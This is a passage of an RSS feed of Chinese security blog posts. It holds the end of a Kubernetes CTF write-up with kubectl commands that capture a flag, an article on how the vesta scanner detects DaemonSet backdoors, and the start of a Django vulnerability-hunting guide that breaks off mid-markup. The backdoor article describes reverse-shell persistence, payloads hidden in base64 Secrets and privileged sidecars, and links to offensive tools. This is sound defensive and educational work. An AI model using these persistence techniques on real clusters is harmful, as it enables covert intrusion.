style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">8080</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">selector</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">run</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busyboxtest</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig apply -f service-test.yaml</span></code><code><span class="code-snippet_outer">service/<span class="code-snippet__keyword">my</span>-custom-service created</span></code></pre></section><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">挺好，成功创建，IP 也没啥问题。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">➤ <span class="code-snippet__attribute">kubectl</span> --kubeconfig kubeconfig get svc -A</span></code><code><span class="code-snippet_outer">NAMESPACE       NAME                TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE</span></code><code><span class="code-snippet_outer">default         kubernetes          ClusterIP   <span class="code-snippet__number">10.128.0.1</span>     &lt;<span class="code-snippet__literal">none</span>&gt;        <span class="code-snippet__number">443</span>/TCP                  <span class="code-snippet__number">42m</span></span></code><code><span class="code-snippet_outer">flag-reciever   my-custom-service   ClusterIP   <span class="code-snippet__number">10.137.18.10</span>   <span class="code-snippet__number">1.1.1.1</span>       <span class="code-snippet__number">8080</span>/TCP                 <span class="code-snippet__number">21s</span></span></code><code><span class="code-snippet_outer">kube-system     kube-dns            ClusterIP   <span class="code-snippet__number">10.128.0.10</span>    &lt;<span class="code-snippet__literal">none</span>&gt;        <span class="code-snippet__number">53</span>/UDP,<span class="code-snippet__number">53</span>/TCP,<span class="code-snippet__number">9153</span>/TCP   <span class="code-snippet__number">42m</span></span></code></pre></section><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;background-color: rgb(246, 245, 245);"></span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">成功 Getflag。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer">➤ kubectl --kubeconfig kubeconfig logs busyboxtest -n flag-reciever</span></code><code><span class="code-snippet_outer">potluck{<span class="code-snippet__emphasis">***</span>*}</span></code></pre></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483773">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b0a227d5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483773%26idx%3D1%26sn%3D78239179c19bb4b74b647f06b43bcf6c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 01 Jan 2024 19:03:00 +0800</pubDate>
    </item>
    <item>
      <title>云原生后门扫描探索与实现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483761&amp;idx=1&amp;sn=9cfbdc88414fb3e1a5c0ca5e17bfc228</link>
      <description>在云原生高速发展的今天，针对云环境的攻击方法也层出不穷。本文讲述了vesta对云原生后门检测的理念和实践。D</description>
      <content:encoded><![CDATA[<p>
原创 <span>christa</span> <span>2023-04-01 16:00</span> <span style="display: inline-block;">湖南</span>
</p>

<p>在云原生高速发展的今天，针对云环境的攻击方法也层出不穷。本文讲述了vesta对云原生后门检测的理念和实践。D</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7088263b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmB6lGGFBavqSzP2ElvxibQPr9YVtcM0CCeJ1RS0qfy1e911VLbIS4p8Z9c2TGGpAnL2GAEU9xASZjA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;caret-color: rgb(51, 51, 51);">在云原生高速发展的今天，针对云环境的攻击方法也层出不穷。</span><span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;caret-color: rgb(51, 51, 51);">本文讲述了vesta对云原生后门检测的理念和实践。</span><br/></p><h2 data-sourcepos="5:1-5:12" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.5em;line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid rgb(232, 232, 232);color: rgb(5, 149, 191);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;white-space: normal;text-size-adjust: auto;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;visibility: hidden;"></span>DaemonSet</h2><p data-sourcepos="6:1-6:161" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">Daemonset因为其特点能够在所有node节点上部署一个pod，因此成为了最受欢迎的后门入口。对Pod设置后门也有如下的几种方法:</p><ul data-sourcepos="8:1-9:153" style="padding-left: 2em;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>Pod command和arg直接反弹shell<br style="box-sizing: border-box;"/>此类型将反弹shell写入pod的command从而达到对每一个node进行持久化控制，具体内容可以参考CDK的backdoor内容，链接如下</p></li></ul><blockquote data-sourcepos="10:2-10:237" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-top: 0px;padding-right: 1em;padding-left: 1em;color: rgb(99, 99, 99);border-left-width: 0.25em;border-left-color: rgb(187, 187, 187);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;"><p data-sourcepos="10:4-10:237" style="box-sizing: border-box;"><a href="https://github.com/cdk-team/CDK/blob/3c6b0c1648b25b98067dd308eebcb2a3afb9e95e/pkg/exploit/k8s_backdoor_daemonset.go" target="_blank">https://github.com/cdk-team/CDK/blob/3c6b0c1648b25b98067dd308eebcb2a3afb9e95e/pkg/exploit/k8s_backdoor_daemonset.go</a></p></blockquote><p data-sourcepos="12:1-12:85" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">因此，改持久化方法对pod的command和arg的内容进行输入检查即可。</p><ul data-sourcepos="14:1-18:213" style="padding-left: 2em;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p data-sourcepos="14:3-15:294" style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;">从其他资源引入反弹代码到Pod中运行<br style="box-sizing: border-box;"/>此类型持久化中比较典型的外部资源一个是Secret，Secret拥有其天然特性Base64编码使得运维人员不能在第一时间看出端倪，但是又能够在Pod内部被ValueFrom调用的时候进行自动解码。亦或者从自制的恶意镜像上拉取进行持久化。</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p data-sourcepos="17:3-18:213" style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;">Sidecar<br style="box-sizing: border-box;"/>考虑到上述几个方案都有痕迹的产生，因此可以考虑k8s自带的kube-proxy，自带的privileged也是满足大多数的渗透要求。可以参考k0otkit脚本以及相关的文章，链接如下</p></li></ul><blockquote data-sourcepos="19:1-19:76" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-top: 0px;padding-right: 1em;padding-left: 1em;color: rgb(99, 99, 99);border-left-width: 0.25em;border-left-color: rgb(187, 187, 187);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;"><p data-sourcepos="19:3-19:76" style="box-sizing: border-box;"><a href="https://github.com/Metarget/k0otkit" target="_blank">https://github.com/Metarget/k0otkit</a></p></blockquote><h2 data-sourcepos="21:1-21:9" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.5em;line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid rgb(232, 232, 232);color: rgb(5, 149, 191);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;white-space: normal;text-size-adjust: auto;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;visibility: hidden;"></span>检测</h2><p data-sourcepos="23:1-23:569" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">在后门检测中，首先需要对各种权限和安全配置进行检测，因为持久化是后门的本质，攻击者需要长期控制宿主机。因此，需要检测特权权限、必要的capabilities以及相关的挂载。其次，需要检测与 Pod 相关的附加命令，因为现在有许多反向代理的命令和各种绕过的 shell，每次都精确检测都是不现实的。因此，采用对特殊符号和关键字的检查，并将其与字符串总数相除得到一个比率值，然后与相应的阈值进行比较，最后生成报告。</p><p data-sourcepos="25:1-25:24" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">后门相关检测有：</p><ul data-sourcepos="26:1-29:0" style="padding-left: 2em;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>Secret以及ConfigMap的内容以及解码，判断反代命令的同时也要判断是否是可执行文件</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>DaemonSet相关镜像的识别</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>Pod的权限以及相关配置检测，例如<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;background-color: rgb(248, 248, 248);color: rgb(9, 132, 79);border-radius: 3px;">Privileged</code>, <code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;background-color: rgb(248, 248, 248);color: rgb(9, 132, 79);border-radius: 3px;">volumeMounts</code>, <code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;background-color: rgb(248, 248, 248);color: rgb(9, 132, 79);border-radius: 3px;">command</code>, <code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;background-color: rgb(248, 248, 248);color: rgb(9, 132, 79);border-radius: 3px;">args</code>, <code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;background-color: rgb(248, 248, 248);color: rgb(9, 132, 79);border-radius: 3px;">RBAC</code>等</p></li></ul><p data-sourcepos="30:1-30:435" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">在完成上述检查的开发之后，又发现了另外一个问题。要对DaemonSet进行扫描必然扫描Kubernetes内部关键的namespaces，而这些namespaces又有相当一部分的DaemonSet以及DaemonSet启动的Pod会有特别高的权限，如果加上后期各种监控框架，那么检测出来的结果就会特别繁杂，导致运维人员每次会处理大量无关的安全事件，这是非常消耗时间的。</p><p data-sourcepos="32:1-33:44" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">以一个简单的OpenShift架构以及11个node节点为例子，下列扫描出来的结果都是冗余的</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.25277777777777777" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f26de8c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmB6lGGFBavqSzP2ElvxibQPrfXf13FZM96ttdImsslricNArnLVZWMJjYcsqibg1S4hpnHLnBibbGdQwQ%2F640%3Fwx_fmt%3Dpng"/></p><p data-sourcepos="35:1-35:276" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">并且正常的<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;background-color: rgb(248, 248, 248);color: rgb(9, 132, 79);border-radius: 3px;">kube-system</code>命名空间中的kube-proxy也会因为priveleged权限出现在运维人员眼中，出现次数一旦多就会导致对该pod关注度慢慢减少，以至于真正出现后门程序的时候会忽略该实例，导致错过最佳处置时间。</p><p data-sourcepos="37:1-37:77" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">因此vesta对检测的Pod进行了剪枝。我们发现了如下几个参数</p><ul data-sourcepos="38:1-41:0" style="padding-left: 2em;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>age</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>restarts</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>certification</p></li></ul><p data-sourcepos="42:1-43:44" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">age分为node的age以及pod的age，而restarts则是容器重启的次数以及最近一次重启的时间，如图</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5061425061425061" data-s="300,640" style="" data-type="png" data-w="407" src="https://wechat2rss.xlab.app/img-proxy/?k=0dc40a38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmB6lGGFBavqSzP2ElvxibQPrPqGWkgNhwJXOnn66yhjiccMmVhgnJb3zib46g3PE24stDtf7sznbHiaXA%2F640%3Fwx_fmt%3Dpng"/></p><p data-sourcepos="46:1-46:585" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">通过age我们能够直接观察到最近一次修改的时间，通过讲DaemonSet对应的pod中最近修改时间与其他pod的时间进行对比。同时restarts的数值也能够帮助我们一个Pod的正常情况，例如如果一个restarts的次数相对于其他Pod的来说异常地高，可能的行为是反弹的shell所连接的IP并没有连通，导致Pod一直重启尝试连接目标IP，而相对于其他的Pod的平均次数过低的重启次数又能够判断该容器在最近被replace替换过。如下图就是一个非常典型的被加入后门的场景</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2642089093701997" data-s="300,640" style="" data-type="png" data-w="651" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1dace5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmB6lGGFBavqSzP2ElvxibQPrgD6qxnibjInZWHm7Q4AG6TrN6dqdsaJqHXC1ibM5y3nGk7aEGD3P0w6A%2F640%3Fwx_fmt%3Dpng"/></p><p data-sourcepos="51:1-51:304" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">而node的age则能够帮助我们获取该node被启动的最早时间，kubernetes安装的证书也同样能够帮助我们拿到K8s最早启动的时间。因此通过目标pod修改时间与node启动最早时间以及其他Pod的修改时间做综合的对比来判断是否跳过该Pod的扫描。</p><p data-sourcepos="53:1-53:21" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">实现的代码如下</p><ul data-sourcepos="54:1-56:0" style="padding-left: 2em;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>后门的检测逻辑: <a href="https://github.com/kvesta/vesta/commit/3443fe6e99e17cb40a63b94617a1828092bb4d64#diff-9d440e59ec5a1f856ab57efdf078acf0c0b35adaa036616afa957bec7c48e0b4" target="_blank">https://github.com/kvesta/vesta/commit/3443fe6e99e17cb40a63b94617a1828092bb4d64#diff-9d440e59ec5a1f856ab57efdf078acf0c0b35adaa036616afa957bec7c48e0b4</a></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>Pod的优化扫描逻辑: <a href="https://github.com/kvesta/vesta/commit/efaec20c55a3f238516a8187448b91b58a5f822d#diff-e9451bda4fd61e18ef216377ead1083aea189c43f19c0f72c71f016b8f960576R644" target="_blank">https://github.com/kvesta/vesta/commit/efaec20c55a3f238516a8187448b91b58a5f822d#diff-e9451bda4fd61e18ef216377ead1083aea189c43f19c0f72c71f016b8f960576R644</a></p></li></ul><p data-sourcepos="57:1-57:71" style="box-sizing: border-box;margin-bottom: 16px;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;">至此为vesta对DaemonSet的扫描逻辑以及实现，项目地址为</p><blockquote data-sourcepos="58:1-58:68" style="box-sizing: border-box;margin-top: 0px;padding-top: 0px;padding-right: 1em;padding-left: 1em;color: rgb(99, 99, 99);border-left-width: 0.25em;border-left-color: rgb(187, 187, 187);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;white-space: normal;text-size-adjust: auto;margin-bottom: 0px !important;"><p data-sourcepos="58:3-58:68" style="box-sizing: border-box;"><a href="https://github.com/kvesta/vesta" target="_blank">https://github.com/kvesta/vesta</a></p></blockquote><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483761">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f8c7115e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483761%26idx%3D1%26sn%3D9cfbdc88414fb3e1a5c0ca5e17bfc228%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 01 Apr 2023 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>几则发现Django未知漏洞的小trick</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483753&amp;idx=1&amp;sn=10ad41d9d2633ec504862635f705c2b3</link>
      <description>本文主要谈一谈如何发现Django官方没有披露的潜在漏洞以及高效查看潜在问题的代码块</description>
      <content:encoded><![CDATA[<p>
原创 <span>christa</span> <span>2023-03-02 10:37</span> <span style="display: inline-block;">湖南</span>
</p>

<p>本文主要谈一谈如何发现Django官方没有披露的潜在漏洞以及高效查看潜在问题的代码块</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b83625c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmDxkMeySiaGic7nhKUc1Ip81cphDy4CLuOtLXiciaN0Sm4zTibrKYXRpIhIiawW2Zcl3D022XVbfXAlBWlg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></strong>Django作为一个Python高可用性，高安全性框架，披露出的安全漏洞也是少之又少，因此成为了Python开发者开发站点的不二之选。Django的代码审计也是相对于其他语言框架较为困难的一款，其中一个因素为Python没有返回和传入类型的检查，并且Django内置函数名重复地非常多，甚至连Pycharm都无法准确定位到具体函数当中，代码审计也变得异常艰难。除去Django官方网站披露的CVE漏洞之外，本文主要谈一谈如何发现Django官方没有披露的潜在漏洞以及高效查看潜在问题的代码块。</p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong>Django announce</strong></p><p>Django官方有着与其他框架相同的版本预告通知，同时Django会提前预报未来发布漏洞更新的时间以及漏洞等级，因此我们可以根据漏洞发出时间第一时间进行漏洞分析和响应<strong><br/></strong></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.19514884233737598" data-s="300,640" style="" data-type="png" data-w="907" src="https://wechat2rss.xlab.app/img-proxy/?k=88a04b05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmDxkMeySiaGic7nhKUc1Ip81cBL25rAmVUTjqdzhkTibeib9ibXy16yKibudN70PWEcSQ1w7fW9LDu0q6Cw%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//groups.google.com/g/django-announce</span></span></code></pre></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><strong>Django Commit</strong><br/></p><p>遍历Django历史上评级为高的漏洞，不难发现基本上全都是SQL注入的漏洞，例如CVE-2022-34265<span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">, </span>CVE-2022-28346<span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">, </span>CVE-2021-35042<span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">, </span>CVE-2020-9402等<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Django对参数过滤是非常严格的，但是正是因为严格化导致部分参数因为过滤无法正常运行。因此，为了保证功能有效运行，就不得不去除对该参数的过滤，这也为Django埋下了隐患。因此对关注Django commit中关于SQL操作的代码进行审计并查看参数是否被函数封装往往能有意想不到的效果。</span></p><p>从笔者之前分析的CVE-2021-35042，具体内容可以查看文章 <a href="https://xz.aliyun.com/t/9834。其漏洞代码最早可以追述到3年前的issue，对函数" target="_blank">https://xz.aliyun.com/t/9834。其漏洞代码最早可以追述到3年前的issue，对函数</a><span style="color: rgb(221, 17, 68);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 12.75px;letter-spacing: 0.75px;text-align: start;background-color: rgba(0, 